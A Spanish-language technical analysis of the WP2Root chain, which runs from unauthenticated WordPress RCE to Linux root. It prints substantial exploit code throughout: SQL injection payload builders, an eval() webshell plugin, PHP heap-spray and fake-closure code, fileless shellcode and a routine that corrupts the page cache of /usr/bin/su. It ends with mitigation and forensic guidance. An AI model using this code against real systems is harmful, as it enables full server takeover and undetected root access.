El 5 de agosto de 2026 el colectivo Calif.io publicó WP2Root, un chain de explotacion que toma ejecucion remota de codigo no autenticada en WordPress y la escala hasta root en Linux. Lo hace incluso en entornos hostiles: disable_functions activo, filesystem en solo lectura y sin espacio escribible en disco.
El chain completo cruza cuatro capas: el motor REST de WordPress, el engine de serializacion de PHP, un chain ROP autodetectable y el page cache del kernel Linux. Cada etapa merece analisis por separado.
El problema de fondo
WordPress mueve mas de 500 millones de sitios. Un RCE pre-auth en su core es un evento de maxima severidad. Pero incluso despues de obtener ejecucion de codigo en PHP, un atacante enfrenta tres barreras comunes en entornos hardening:
disable_functions: las funciones peligrosas (system,exec,passthru,proc_open,popen,pcntl_exec) estan deshabilitadas.- Filesystem en solo lectura: no se pueden subir plugins, escribir webshells ni modificar archivos.
- Sin espacio en disco: aunque se pudiera escribir, no hay donde.
WP2Root resuelve las tres. Lo interesante no es que lo haga, sino como lo hace.
El chain: vista general
WordPress REST (pre-auth)
→ wp2shell (CVE-2026-63030 + CVE-2026-60137)
→ PHP code execution como www-data
→ Serializable UAF (PHP engine, 21-year-old bug)
→ arbitrary memory read
→ self-resolving ROP chain
→ native code execution (PIC)
→ Copy Fail (CVE-2026-31431, kernel page cache)
→ root
Cuatro etapas, cuatro superficies de ataque distintas. Vamos por partes.
Acto 1: wp2shell — RCE pre-auth en WordPress
AssetNote (Searchlight Cyber) encontro dos vulnerabilidades en WordPress Core que, encadenadas, permiten ejecucion remota de codigo sin autenticacion. Las CVEs:
-
CVE-2026-63030 (CVSS 9.8): confusion de rutas en el endpoint batch de la REST API (
/wp-json/batch/v1). Un malformed batch request provoca queWP_REST_Server::serve_batch_request_v1()desincronice el route matching y ejecute un request bajo el handler de otra ruta. -
CVE-2026-60137 (CVSS 9.1): SQL injection pre-auth en
WP_Query::get_posts(). Un valor escalar enauthor__not_inevita el sanitizado deabsint()y permite inyeccion ciega.
El camino de ataque:
- Un request batch malformado fuerza route confusion en la REST API.
- La confusion permite llegar a
WP_Querycon parametros no sanitizados. - La SQL injection fabrica filas de
wp_postsque WordPress interpreta como objetosWP_Postlegitimas. - Con esos objetos forjados, el atacante crea una cuenta de administrador.
- Como administrador, sube un plugin que contiene un endpoint
eval().
Todo esto sin credenciales.
La route confusion: dos pasadas, un desync
El batch handler de WordPress (serve_batch_request_v1) procesa los sub-requests en dos pasadas. La primera valida y hace route matching. La segunda ejecuta. El problema esta en como se alinean los indices entre ambas pasadas:
// wp-includes/rest-api/class-wp-rest-server.php (WP 6.9.0)
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = array();
// Primera pasada: parseo de cada sub-request
foreach ( $batch_request['requests'] as $args ) {
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
// wp_parse_url(':') retorna false
$requests[] = new WP_Error( 'parse_path_failed', ... );
continue;
}
$single_request = new WP_REST_Request( ... );
$requests[] = $single_request;
}
// Segunda pasada: route matching y validacion
$matches = array();
$validation = array();
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$validation[] = $single_request;
continue; // <-- WP_Error se saltea, no entra en $matches
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match; // <-- solo los requests validos generan match
// ... validacion de allow_batch, params, etc.
}
// Tercera pasada: ejecucion
// Los indices de $requests y $matches ya no coinciden
foreach ( $requests as $i => $single_request ) {
// ...
$match = $matches[ $i ]; // <-- DESYNC: $matches tiene menos entradas
// El request malformado empuja los matches fuera de lugar
}
}
El exploit manda un batch con tres elementos. El primero es {"path": ":"}. wp_parse_url(':') retorna false, asi que ese request se convierte en WP_Error y no genera entrada en $matches. Pero si ocupa el indice 0 en $requests. Cuando la tercera pasada itera sobre $requests, el request en indice 1 (el widget carrier con el payload SQLi) toma el match del indice 1 de $matches, que en realidad corresponde al request en indice 2 (el batch anidado). El widget se ejecuta con el handler del batch, heredando sus permisos y su alcance de ruta.
La SQL injection: un scalar que escapa al sanitizado
El parametro author__not_in en WP_Query::get_posts() tiene un patron de sanitizado incompleto:
// wp-includes/class-wp-query.php (WP 6.9.0)
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
// absint() solo se aplica si es array
$query_vars['author__not_in'] = array_unique(
array_map( 'absint', $query_vars['author__not_in'] )
);
sort( $query_vars['author__not_in'] );
}
// Pero el (array) cast y el implode se ejecutan siempre
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
Si author__not_in llega como string (el widget carrier de la REST API lo envia como query param escalar), el is_array() es false, el absint() nunca se ejecuta, y el (array) cast solo envuelve el string en un array de un elemento. El implode() lo suelta directo en el WHERE. El parametro equivalente author__in aplica un segundo array_map('absint', ...) despues del cast; author__not_in no.
El batch malformado desde Python
El driver wp2shell.py construye el request batch asi:
# wp2shell.py — construccion del batch que desencadena la route confusion
def malformed(self):
"""La semilla de desincronizacion: wp_parse_url(':') retorna false."""
return {"method": "POST", "path": ":"}
def widget_carrier(self, payload):
"""Transporta el payload SQLi en author_exclude → author__not_in."""
return {
"method": "GET",
"path": "/wp/v2/posts?author_exclude=" + payload +
"&per_page=500&orderby=none"
}
def wrap_inner(self, inner):
"""Construye el batch externo con el desync de tres elementos."""
return {
"requests": [
self.malformed(), # indice 0: WP_Error, sin match
{ # indice 1: widget con SQLi anidada
"method": "POST",
"path": "/wp/v2/widgets?per_page=500",
"body": {"requests": inner}
},
{"method": "POST", "path": "/batch/v1"} # indice 2: batch handler
]
}
# Resultado del desync:
# $requests[0] = WP_Error → $matches[0] no existe
# $requests[1] = widget → usa $matches[1] = match del batch/v1
# $requests[2] = batch/v1 → usa $matches[2] = indefinido
El payload SQLi se construye con UNION ALL para inyectar filas falsas en wp_posts:
# wp2shell.py — construccion del payload SQLi
EXPECTED_POST_COLUMNS = [
"ID", "post_author", "post_date", "post_date_gmt",
"post_content", "post_title", "post_excerpt", "post_status",
"comment_status", "ping_status", "post_password", "post_name",
"to_ping", "pinged", "post_modified", "post_modified_gmt",
"post_content_filtered", "post_parent", "guid", "menu_order",
"post_type", "post_mime_type", "comment_count"
]
def union_payload(self, rows):
"""Suprime filas legitimas e inyecta las falsas via UNION ALL."""
return ("0) AND 1=0 UNION ALL " +
" UNION ALL ".join(selects) + "-- -")
def post_row(self, **fields):
"""Fabrica una fila wp_posts con los 23 campos controlados."""
return ", ".join(
self.hx(fields.get(col, "0")) for col in EXPECTED_POST_COLUMNS
)
# hx() convierte strings a hex literals: 'admin' → '0x61646D696E'
La subida del plugin
Una vez que el SQLi fabrico un usuario administrador, el driver sube el plugin wp2shell como un ZIP generado en memoria:
# wp2shell.py — instalacion del plugin eval
def upload_eval_shell(self, opener, plugin_slug):
# 1. Obtener nonce del formulario de upload
nonce = self.scrape_nonce(
opener, f"{self.base}/wp-admin/plugin-install.php?tab=upload"
)
# 2. Construir el plugin PHP en memoria
plugin_php = '''
<?php
/**
* Plugin Name: WP2Shell
*/
if (isset($_REQUEST['e'])) {
echo "EVAL_MARKER";
eval(base64_decode((string) $_REQUEST['e']));
die();
}
'''
# 3. Empaquetar como ZIP sin tocar disco
zipped = BytesIO()
with ZipFile(zipped, 'w') as zf:
zf.writestr(f"{plugin_slug}/{plugin_slug}.php", plugin_php)
# 4. POST multipart a update.php
self.post_multipart(
opener,
f"{self.base}/wp-admin/update.php?action=upload-plugin",
{"_wpnonce": nonce, "pluginzip": zipped.getvalue()}
)
El endpoint resultante en wp-content/plugins/wp2shell/wp2shell.php solo re-despacha: recibe payloads PHP en base64 via POST, los decodifica y los pasa a eval(). Toda la logica pesada (UAF, ROP, heap spray) viaja en el cuerpo del POST, no en el archivo en disco. El resultado es un archivo PHP miniatura en wp-content/plugins/wp2shell/wp2shell.php. El codigo subido por el exploit (local_exploit.php en el repositorio) es el payload que implementa el UAF de la etapa siguiente. El driver wp2shell.py se comunica con este endpoint via POST para disparar cualquiera de los dos modos de post-explotacion:
- Modo 1 (
--uaf-exec): dispara el UAF deSerializable, reconstruyezif_systemcomo un fake Closure y ejecuta comandos comowww-dataevitandodisable_functions. - Modo 2 (
--priv-exec): construye un chain ROP autodetectable, lanza el shellcode PIC y ejecuta Copy Fail para obtener root.
El endpoint en si es minimo porque toda la logica pesada esta en los payloads PHP que el driver le envia. El archivo wp2shell.php solo sirve como punto de entrada para re-despachar requests POST hacia el codigo de explotacion que ya reside en memoria dentro del worker PHP.
Versiones afectadas: WordPress 6.9.0 a 6.9.4 y 7.0.0 a 7.0.1. Tambien aplica a la rama 6.8 para la SQLi.
Patch: WordPress 6.9.5 y 7.0.2, publicados el 17 de julio de 2026. CISA agrego ambas CVEs a su catalogo KEV (Known Exploited Vulnerabilities) por explotacion activa.
El equipo de Adam Kues encontro estas vulnerabilidades usando GPT 5.6-Sol. El modelo identifico la ruta de confusion en el batch handler y el bypass en absint(). Un dato relevante para entender hacia donde va el threat modeling automatizado.
Acto 2: PHP Serializable UAF — escapando de disable_functions
Tener eval() dentro de PHP no sirve de mucho si system() y exec() estan en disable_functions. WP2Root necesita ejecutar comandos del sistema operativo, y para eso debe salir de la jaula de PHP.
El vector: un use-after-free de 21 anos en el path legacy de Serializable::unserialize() de PHP. Nunca fue corregido.
El bug
Cuando una clase implementa la interfaz Serializable (la vieja, no __serialize/__unserialize), PHP llama al metodo unserialize() definido por el usuario sin tomar el serialization lock. Si ese metodo llama recursivamente a unserialize() de PHP, el parser interno y el externo comparten la misma tabla de referencias (var_hash). El bug tiene 21 años. Esta en Zend/zend_interfaces.c, en la funcion zend_user_unserialize(): nunca adquirio BG(serialize_lock).
La clase CachedData del exploit implementa Serializable y contiene el trigger:
// rop_serializable.php — el trigger del UAF
class CachedData implements Serializable {
public function serialize(): ?string {
return serialize($this->data);
}
public function unserialize(string $data): void {
// El parser externo esta en medio de unserialize() de una
// cadena que contiene back-references (R:4 a R:11).
// Esta llamada recursiva no toma el lock. Ambos parsers
// comparten la misma var_hash.
//
// $data serializa un stdClass con 8 propiedades.
// ->x = 0 inserta la novena, dispara resize de 8→16 slots
// y libera el arData de 288 bytes que los R: del parser
// externo todavia referencian.
$obj = unserialize($data);
$obj->x = 0;
}
}
La tabla de propiedades de un stdClass usa internamente un HashTable con buckets contiguos (arData). Al insertar 9 propiedades en un objeto con 8 slots, PHP redimensiona la tabla: asigna 16 slots nuevos y libera los 8 originales (288 bytes: 8 slots × 36 bytes por bucket en PHP 8.1). Los back-references del parser externo (R:4 a R:11) ahora apuntan a memoria liberada. El archivo rop_serializable.php del repositorio contiene la clase Exploit completa con este trigger.
Heap spray: strings de 280 bytes y zvals falsos
El exploit redeclama los 288 bytes liberados con un heap spray de strings diseñadas para encajar exactamente en los buffers del ZendMM allocator:
// rop_serializable.php — heap spray y zvals falsos
// Cada string del spray ocupa 280 bytes (diseñada para el bucket
// de 288 bytes del ZendMM allocator de PHP 8.1).
// Internamente:
// - 8 marcadores de 8 bytes cada uno (para heap_leak)
// - zvals falsos en offsets controlados:
// * tipo IS_STRING (6) con char* y size_T arbitrarios → lectura
// * tipo IS_OBJECT (8) con zend_object* falso → type confusion
define('SPRAY_STRING_SIZE', 280); // encaja en bucket de 288 bytes
define('ZVAL_SIZE', 16); // tamaño de zval en PHP 8.1
define('IS_STRING', 6);
define('IS_OBJECT', 8);
function build_spray_string($marker, $fake_zvals) {
$s = pack('Q*', ...$marker); // 8 marcadores de 64 bits
foreach ($fake_zvals as $offset => $zval) {
// Sobrescribe el offset con un zval falso:
// [type (1 byte)] [flags (1 byte)] [refcount (4 bytes)]
// [value union (8 bytes)]
$s[$offset] = pack('C', $zval['type']); // IS_STRING=6
// ... char* y size_T controlados por el atacante
}
return $s;
}
Los back-references (R:4 a R:11) del parser externo ahora apuntan a estos zval falsos. El exploit obtiene:
- Lectura de memoria arbitraria: un
zvalfalso de tipoIS_STRING(type=6) conchar*ysize_Tcontrolados por el atacante. - Type confusion: un
zvalfalso de tipoIS_OBJECT(type=8) que apunta a unzend_objectfabricado, permitiendo invocar handlers nativos desde PHP.
Heap spray y zvals falsos
El exploit redeclama esa memoria con un heap spray de strings de 280 bytes, diseñadas para encajar en los 288 bytes del buffer liberado. Cada string fabrica zval falsos (la estructura interna de PHP para representar valores, 16 bytes cada uno) en offsets controlados. Los back-references (R:4 a R:11 en la serializacion) del parser externo ahora apuntan a estos zval falsos en vez de a los reales. El exploit obtiene:
- Lectura de memoria arbitraria: un
zvalfalso de tipoIS_STRING(type=6) conchar*ysize_Tcontrolados por el atacante. - Type confusion: un
zvalfalso de tipoIS_OBJECT(type=8) que apunta a unzend_objectfabricado, permitiendo invocar handlers nativos desde PHP.
Reconstruyendo zif_system
Con lectura arbitraria, el exploit ejecuta una cadena de resolucion de direcciones. Cada paso usa memoria ya leida para calcular el siguiente objetivo. La clase Exploit en rop_serializable.php implementa estos metodos:
heap_leak(): detecta unzvalmarcado que fue sobrescrito por un puntero real del heap durante la compactacion de strings del spray. Los 8 marcadores de 64 bits en cada string del spray se comparan antes y despues del UAF; el marcador modificado revela una direccion base del heap de PHP porque elZendMMallocator reutiliza el bloque liberado y escribe metadata del freelist en el.
// rop_serializable.php — deteccion del heap leak
function heap_leak() {
// Cada string del spray contiene 8 marcadores QWORD unicos.
// Despues del UAF, el allocator sobrescribe uno con un puntero
// al siguiente bloque libre del freelist.
foreach ($this->spray_strings as $idx => $str) {
for ($m = 0; $m < 8; $m++) {
$val = unpack('P', substr($str, $m * 8, 8))[1];
if ($val !== $this->markers[$idx][$m]) {
// El marcador fue sobrescrito por un puntero del heap
$this->heap_base = $val & ~0xFFF; // alinear a pagina
$this->leaked_idx = $idx;
$this->leaked_offset = $m * 8;
return;
}
}
}
}
find_object_pointers(): escanea el heap en busca dezend_objectheaders de objetosClosurenativos, identificables por sus patrones de GC. Cadazend_objecten PHP 8.1 tiene esta estructura:
// Estructura de un zend_object en PHP 8.1 (32 bytes de header):
// offset 0x00: gc.refcount (4 bytes) — entre 1 y 50 para objetos vivos
// offset 0x04: gc.u.type_info (4 bytes) — 0x18 para IS_OBJECT con GC
// offset 0x08: handle (4 bytes) — indice en el object store
// offset 0x10: ce (8 bytes) — puntero a zend_class_entry
// offset 0x18: handlers (8 bytes) — puntero a zend_object_handlers
function find_object_pointers() {
// Escanea el heap en bloques de 2 MiB
for ($addr = $this->heap_base; ; $addr += 0x200000) {
$data = $this->read($addr, 0x200000);
for ($off = 0; $off < strlen($data) - 32; $off += 8) {
$gc_refcount = unpack('V', substr($data, $off, 4))[1];
$gc_type = unpack('V', substr($data, $off + 4, 4))[1];
if ($gc_refcount >= 1 && $gc_refcount <= 50 &&
$gc_type == 0x18) { // IS_OBJECT | GC_COLLECTABLE
$ce_addr = unpack('P', substr($data, $off + 0x10, 8))[1];
$hand_addr = unpack('P', substr($data, $off + 0x18, 8))[1];
// Validar que ce y handlers apuntan a regiones mapeadas
if ($this->is_valid_ptr($ce_addr) &&
$this->is_valid_ptr($hand_addr)) {
$this->closure_ce = $ce_addr;
$this->closure_handlers = $hand_addr;
return;
}
}
}
}
}
find_function_table_ht(): a partir declosure_handlers, escanea la region.bssdel binario PHP en busca deEG(function_table). La busqueda usa deltas conocidos de la estructuraexecutor_globals:
function find_function_table_ht() {
// closure_handlers esta en .data.rel.ro
// executor_globals esta en .bss, a un delta negativo fijo
//
// Layout de executor_globals en PHP 8.1:
// offset 0x000: ini_directives[]
// offset ...: function_table (HashTable, 56 bytes)
// offset ...: class_table, constants, etc.
//
// Validacion de candidate HashTable:
// nTableMask: power of two
// arData: puntero al heap
// nNumUsed: entre 1000 y 100000 (function table tipica)
$bss_base = $this->closure_handlers - 0x1de0; // delta conocido
for ($off = 0; $off < 0x10000; $off += 8) {
$ht = $this->read($bss_base + $off, 56); // sizeof(HashTable)
$mask = unpack('V', substr($ht, 0x18, 4))[1];
$arData = unpack('P', substr($ht, 0x08, 8))[1];
$nUsed = unpack('V', substr($ht, 0x20, 4))[1];
if (($mask & ($mask + 1)) == 0 && // power of two
$arData > $this->heap_base && // en el heap
$nUsed > 1000 && $nUsed < 100000) { // rango plausible
$this->function_table = $bss_base + $off;
return;
}
}
}
find_system()/find_system_via_module(): buscazif_systemen la function table. Sisystemesta endisable_functions, el metodo alternativo recorre el arrayzend_function_entry[]del modulo standard:
function find_system_via_module() {
// El modulo "standard" de PHP tiene un array de zend_function_entry
// con todas las funciones built-in. El indice 278 corresponde a
// zif_system en PHP 8.1.34 (compilacion estandar de Ubuntu).
//
// Cada zend_function_entry tiene:
// offset 0x00: fname (8 bytes) — puntero a char*
// offset 0x08: handler (8 bytes) — puntero a zif_*
// offset 0x10: func_arg_info (8 bytes)
// offset 0x18: flags (4 bytes)
//
// zif_system esta en el indice 278 del array del modulo standard.
$module = $this->read_ptr($this->internal_func->module);
$functions = $this->read_ptr($module + 0x28); // module.functions
$entry = $functions + (278 * 0x20); // 32 bytes por entry
$this->zif_system = $this->read_ptr($entry + 0x08); // handler
}
build_fake_closure(): fabrica unzend_closurefalso de 512 bytes. Al invocar el “objeto” resultante, PHP ejecutasystem()directamente en codigo nativo:
function build_fake_closure() {
// Construye un zend_closure falso byte a byte.
// Layout en PHP 8.1 (512 bytes total):
//
// offset 0x00: zend_object.gc.refcount = 0x7fffffff
// offset 0x04: zend_object.gc.u.type_info = 0x18
// offset 0x08: zend_object.handle = 0
// offset 0x10: zend_object.ce = &zend_closure_ce
// offset 0x18: zend_object.handlers = &closure_handlers
// offset 0x20: zend_object.properties = NULL
// offset 0x28: zend_object.properties_table = NULL
// offset 0x38: zend_closure.function = &fake_internal_func
// offset 0x40: zend_closure.this_ptr = NULL
// offset 0x48: zend_closure.called_scope = NULL
//
// fake_internal_func (zend_internal_function):
// offset 0x00: type = 0x42 (internal)
// offset 0x08: function_name = "system"
// offset 0x30: handler = zif_system
// offset 0x38: module = &standard_module
// offset 0x40: flags = 0
// offset 0x50: num_args = 2
$closure = str_repeat("\x00", 512);
// zend_object header
$this->poke32($closure, 0x00, 0x7fffffff); // refcount
$this->poke32($closure, 0x04, 0x18); // type_info
$this->poke64($closure, 0x10, $this->closure_ce); // ce
$this->poke64($closure, 0x18, $this->closure_handlers); // handlers
$this->poke64($closure, 0x20, 0); // properties = NULL
$this->poke64($closure, 0x28, 0); // properties_table = NULL
// zend_closure
$fake_func = $this->buffer + 0x100; // offset interno en el blob
$this->poke64($closure, 0x38, $fake_func); // function
// zend_internal_function en offset 0x100
$this->poke8 ($closure, 0x100, 0x42); // type = internal
$this->poke64($closure, 0x130, $this->zif_system); // handler
// ... resto de campos: function_name, module, num_args, etc.
return $closure; // Este "objeto" ahora es un Closure falso
// que invoca system() al ser llamado
}
El resultado: system() se ejecuta en codigo nativo, sin pasar por el disable_functions check de PHP. Ese check ocurre a nivel de nombre de funcion; el exploit llama directamente al handler en C.
Dos caminos desde aca
El exploit ofrece dos modos:
- Modo 1 (web user): recuperar
zif_systemy ejecutar comandos comowww-data. Util cuando no se necesita root o cuando Copy Fail no aplica. - Modo 2 (root): construir un chain ROP completo para ejecutar shellcode nativo que invoque Copy Fail.
El modo 1 ya es util por si solo: permite un reverse shell interactivo sin tocar /bin/bash ni fsockopen, usando un loop de callback nativo dentro del worker PHP.
Acto 3: ROP autodetectable — de PHP a codigo nativo
Para ejecutar el payload de Copy Fail, el exploit necesita correr codigo nativo arbitrario (no solo system()). Eso requiere salir completamente del interpreter de PHP y tomar control del flujo de ejecucion de la CPU.
Self-resolving ROP
Un chain ROP tradicional asume direcciones conocidas de gadgets en la imagen del binario. WP2Root no puede asumir nada: ASLR randomiza la direccion base de PHP en cada ejecucion.
La solucion es un chain ROP autodetectable (self-resolving). El metodo scan_gadgets() de rop_serializable.php lo implementa en tiempo de ejecucion:
- Leak de un code pointer vivo dentro del segmento
.textde PHP usando la lectura arbitraria del UAF. - Caminar hacia atras desde el pointer hasta encontrar el ELF header (magic bytes
\x7fELF) y obtener la direccion base del binario PHP randomizada por ASLR. - Parsear ELF program headers para ubicar
.text,.rodata,.plt,.goty los segmentosPT_LOADejecutables. - Parsear la dynamic symbol table para resolver
mprotect(marcar buffer como ejecutable) y la direccion del buffer a marcar. - Escanear
.texten busca de gadgets ROP:pop rdi; ret,pop rsi; ret,pop rdx; ret,pop rsp; ret,leave; ret, ysyscall; ret.
Todo esto ocurre en tiempo de ejecucion, contra el proceso PHP vivo. No hay hardcoding de direcciones.
Stack pivot
El ultimo paso es transferir el control de la CPU al chain ROP. El exploit corrompe el HashTable interno de un array PHP:
- Fabrica un
HashTablefalso conpDestructorapuntando a un gadgetleave; ret. - Cuando PHP libera el array, ejecuta el destructor normalmente.
- Pero el destructor es el gadget ROP:
leavecargarbpfalso,retsalta al primer gadget del chain. - Desde ese punto, PHP ya no controla el flujo. La CPU ejecuta los gadgets en secuencia.
El chain ROP que construye run_pic_rop() es minimalista:
mprotect(buffer, size, RWX) // marcar buffer como ejecutable
→ jmp buffer // saltar al shellcode PIC (wpr_pic)
→ [si el launcher retorna] mprotect(buffer, size, RW) // restaurar permisos
→ php_printf (marca de finalizacion en stderr)
→ _zend_bailout (salida limpia del worker)
Los gadgets, las direcciones de mprotect y el buffer objetivo se resuelven dinamicamente contra la imagen ELF del proceso PHP en vivo. Nada esta hardcodeado.
Launcher PIC
El shellcode que ejecuta el chain ROP es un launcher position-independent escrito en assembly x86_64. El archivo root_payload_launcher.asm del repositorio contiene la version completa. Su funcion es cargar el helper de Copy Fail sin tocar disco:
BITS 64
default rel
; El driver wp2shell.py parchea los campos del manifest,
;concatena el helper ELF y tres strings argv terminados en NUL,
;y envia el buffer resultante a traves del driver ROP de PHP.
%define ROOT_HELPER_FD 197
_start:
jmp launcher_entry
align 8, db 0
manifest_magic: db 'WPRLCH1', 0
manifest_helper_offset: dq 0 ; parcheado por wp2shell.py
manifest_helper_size: dq 0 ; parcheado por wp2shell.py
manifest_helper_argv0_offset: dq 0
manifest_arg0_offset: dq 0
manifest_arg1_offset: dq 0
manifest_arg2_offset: dq 0
helper_memfd_name: db 'php-helper', 0
empty_path: db 0
launcher_entry:
lea rbx, [rel _start]
; memfd_create("php-helper", 0) — sin MFD_CLOEXEC
mov eax, 319
lea rdi, [rel helper_memfd_name]
xor esi, esi
syscall
test eax, eax
js .fail
; dup2(fd, 197) — pin al fd conocido
mov edi, eax
mov eax, 33
mov esi, ROOT_HELPER_FD
syscall
; write(197, helper_elf, helper_size)
mov edi, ROOT_HELPER_FD
mov rsi, [rel manifest_helper_offset]
add rsi, rbx
mov rdx, [rel manifest_helper_size]
.write_loop:
test rdx, rdx
jz .written
mov eax, 1
syscall
test rax, rax
jle .fail
add rsi, rax
sub rdx, rax
jmp .write_loop
.written:
; Construir argv en el stack
xor eax, eax
push rax ; terminator NULL
; push arg2, arg1, arg0, helper_argv0 (resueltos via manifest)
; ...
; execveat(197, "", argv, NULL, AT_EMPTY_PATH)
mov edi, ROOT_HELPER_FD
lea rsi, [rel empty_path]
mov rdx, rsp
xor r10d, r10d
mov r8d, 0x1000 ; AT_EMPTY_PATH
mov eax, 322
syscall
.fail:
mov eax, 60 ; exit(1)
mov edi, 1
syscall
El fd 197 es una eleccion deliberada: esta lo suficientemente alto para no colisionar con descriptores del worker PHP y se crea sin MFD_CLOEXEC para que sobreviva cada execve del chain.
Acto 4: Copy Fail — root sin tocar disco
Copy Fail (CVE-2026-31431, CVSS 7.8) es una vulnerabilidad del kernel Linux de 2026 que afecta a practicamente todas las distribuciones compiladas desde 2017. Es un local privilege escalation (LPE): requiere ejecucion previa como usuario no privilegiado.
El mecanismo
El kernel Linux mantiene una cache de paginas (page cache) con copias en memoria de los binarios que ejecuta. Cuando un proceso llama a execve("/usr/bin/su"), el kernel no lee el archivo de disco cada vez: busca la pagina en cache y, si existe, la usa directamente.
Copy Fail abusa de la interfaz criptografica AF_ALG del kernel en combinacion con splice() y MSG_SPLICE_PAGES para sobrescribir las paginas del page cache correspondientes a /usr/bin/su.
El punto critico: /usr/bin/su es setuid-root. Si el kernel ejecuta un stub en su lugar, ese stub corre como root.
Fileless: el helper nunca toca disco
El helper que ejecuta Copy Fail se carga via memfd_create + execveat(AT_EMPTY_PATH). Es un binario ELF que existe solo en memoria. Cuando el launcher PIC invoca execveat sobre el fd 197, el kernel ejecuta el helper directamente desde el memfd. El archivo root_payload_helper.c (~1400 lineas) implementa el mecanismo completo:
// Helper: corrompe el page cache de /usr/bin/su
// usando AF_ALG + MSG_SPLICE_PAGES (el primitivo "copy fail")
static void corrupt_page_cache(int file_fd, const uint8_t *payload,
size_t payload_len) {
// 1. Drop previo del page cache para forzar lectura fresca
posix_fadvise(file_fd, 0, 0, POSIX_FADV_DONTNEED);
// 2. Por cada chunk de 4 bytes del payload:
for (size_t off = 0; off < payload_len; off += 4) {
// 2a. Abrir socket AF_ALG con authencesn(hmac(sha256),cbc(aes))
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind_alg(alg_fd, "authencesn(hmac(sha256),cbc(aes))",
key_40bytes);
// 2b. Aceptar el fd de operacion criptografica
int op_fd = accept(alg_fd, NULL, 0);
// 2c. sendmsg() con MSG_SPLICE_PAGES + cmsg:
// ALG_SET_OP(ENCRYPT) + ALG_SET_IV + ALG_SET_AEAD_ASSOCLEN(8)
// → las paginas del page cache se splicen hacia op_fd
sendmsg_splice(op_fd, file_fd, off, payload + off, 4);
// 2d. recv() fuerza el procesamiento criptografico
// El "copy fail" del kernel acorta la copia y
// sobrescribe 4 bytes en el page cache
recv_force(op_fd);
close(op_fd);
close(alg_fd);
}
// 3. El binario en disco permanece intacto.
// Solo las paginas en memoria estan corruptas.
}
El stub que reemplaza a /usr/bin/su en el page cache es un mini ELF construido por build_payload(): limpia todas las credenciales via syscalls directos (setresuid, setresgid, setgroups), construye el argv ["root-helper", "--pwned", "196"] y ejecuta execveat(197, "", ..., AT_EMPTY_PATH) para re-entrar al helper. El flag --pwned es real: main() en root_payload_helper.c lo verifica como primer argumento y deriva a dispatch_reentry(), que lee un header de configuracion {mode, first_len, second_len} desde el fd 196 y ejecuta el comando solicitado como root.
¿Por que los FIM no detectan nada?
Herramientas como AIDE, Tripwire o Samhain monitorean el archivo en disco. El hash del binario, los permisos, el inodo: nada cambia. Copy Fail corrompe la representacion en memoria, no la de disco. El kernel sirve paginas corruptas sin que el VFS se entere.
Esto es relevante para deteccion forense: una verificacion post-incidente que solo compare hashes de archivos en disco encontrara /usr/bin/su intacto. El rastro esta en la memoria volatil.
El protocolo de transporte post-root
Una vez que el helper corre como root, necesita comunicarse con el atacante. WP2Root implementa un protocolo TCP local con autenticacion por token:
READY: el helper indica que esta listo.CMD <comando>: ejecuta un comando como root via/bin/sh -c.PUT <size>+DONE: sube un binario arbitrario para ejecucion fileless.GET <size>: descarga output de comandos.PING: keepalive.
La shell interactiva usa un loop similar pero con stdin/stdout del atacante conectado via loopback TCP.
Todo el binario auxiliar y los datos de configuracion se almacenan en memfd_create o O_TMPFILE bajo /dev/shm, con file descriptors fijos (196, 197, 198). Nada persiste en disco.
Mitigaciones
Parches
| Componente | Accion |
|---|---|
| WordPress | Actualizar a 6.9.5 o 7.0.2. Las actualizaciones automaticas forzadas ya se aplicaron a la mayoria de los sitios afectados. |
| Linux Kernel | Aplicar el parche del vendor para CVE-2026-31431 (Copy Fail). Verificar con uname -r que el kernel incluya el fix. |
| PHP | El UAF en Serializable::unserialize() no tiene parche oficial al momento de esta publicacion. La mitigacion real es impedir que el atacante llegue a ejecutar codigo PHP en primer lugar. |
Hardening complementario
- WAF con reglas especificas: Cloudflare y Wordfence publicaron reglas para detectar los patrones de request de wp2shell. Son mitigacion temporal, no sustituto del patch.
- Segmentacion de red: un servidor WordPress comprometido no deberia tener ruta directa a redes internas sensibles.
disable_functionsno es una barrera de seguridad: WP2Root lo demuestra. La unica defensa real contra ejecucion de codigo nativo desde PHP es no permitir ejecucion de codigo PHP arbitrario.- Monitoreo de page cache: deteccion de anomalias en el page cache del kernel (herramientas como
pagecache-watcho monitoreo deAF_ALGsocket creation anomala). fs.protected_hardlinksyfs.protected_symlinks: no detienen Copy Fail, pero hardened sysctl settings generales limitan vectores relacionados.- SELinux/AppArmor: perfiles restrictivos para workers PHP que bloqueen
memfd_create,execveatconAT_EMPTY_PATH, y acceso aAF_ALG.
¿Que hacer si ya estas comprometido?
- El chain es destructivo: corrompe memoria de procesos PHP, crea usuarios administradores y sube plugins. No basta con parchar.
- Reconstruir el servidor desde cero. Rotar credenciales. Auditar accesos.
- Un analisis forense que solo revise archivos en disco puede fallar en detectar el compromiso. Adquirir memoria volatil y analizar el page cache.
¿Que significa esto?
WP2Root es relevante por varias razones.
Primero, la superficie de ataque. Un solo request HTTP sin autenticacion alcanza root en el sistema operativo. No hay defensa intermedia que detenga el chain una vez iniciado: la REST API de WordPress, el engine de PHP y el kernel Linux caen en secuencia. Cada capa confia en que las anteriores la protegen.
Segundo, el factor de aceleracion. Los autores reportan que OpenAI Codex ensamblo el chain completo en menos de una hora bajo direccion humana. El modelo conocia el UAF de PHP (un bug de 21 anos documentado pero no explotado en la practica), los patrones de heap spraying, la resolucion dinamica de gadgets ROP y el mecanismo de Copy Fail. La barrera ya no es la capacidad tecnica de escribir el exploit; es saber que existe cada pieza y como se conecta. O como escribieron los autores: “You can outsource the hacking, but not the understanding.”
Tercero, la leccion de Copy Fail. Un LPE que corrompe el page cache sin tocar disco redefine lo que significa “fileless”. Las herramientas forenses tradicionales asumen que un binario modificado deja rastro en el filesystem. Copy Fail no lo hace. Las practicas de deteccion y respuesta necesitan adaptarse.
- The WordPress Chain Massacre — Calif.io
- WP2Root Repository — califio/publications (GitHub)
- WP2Shell Writeup — califio/publications (GitHub)
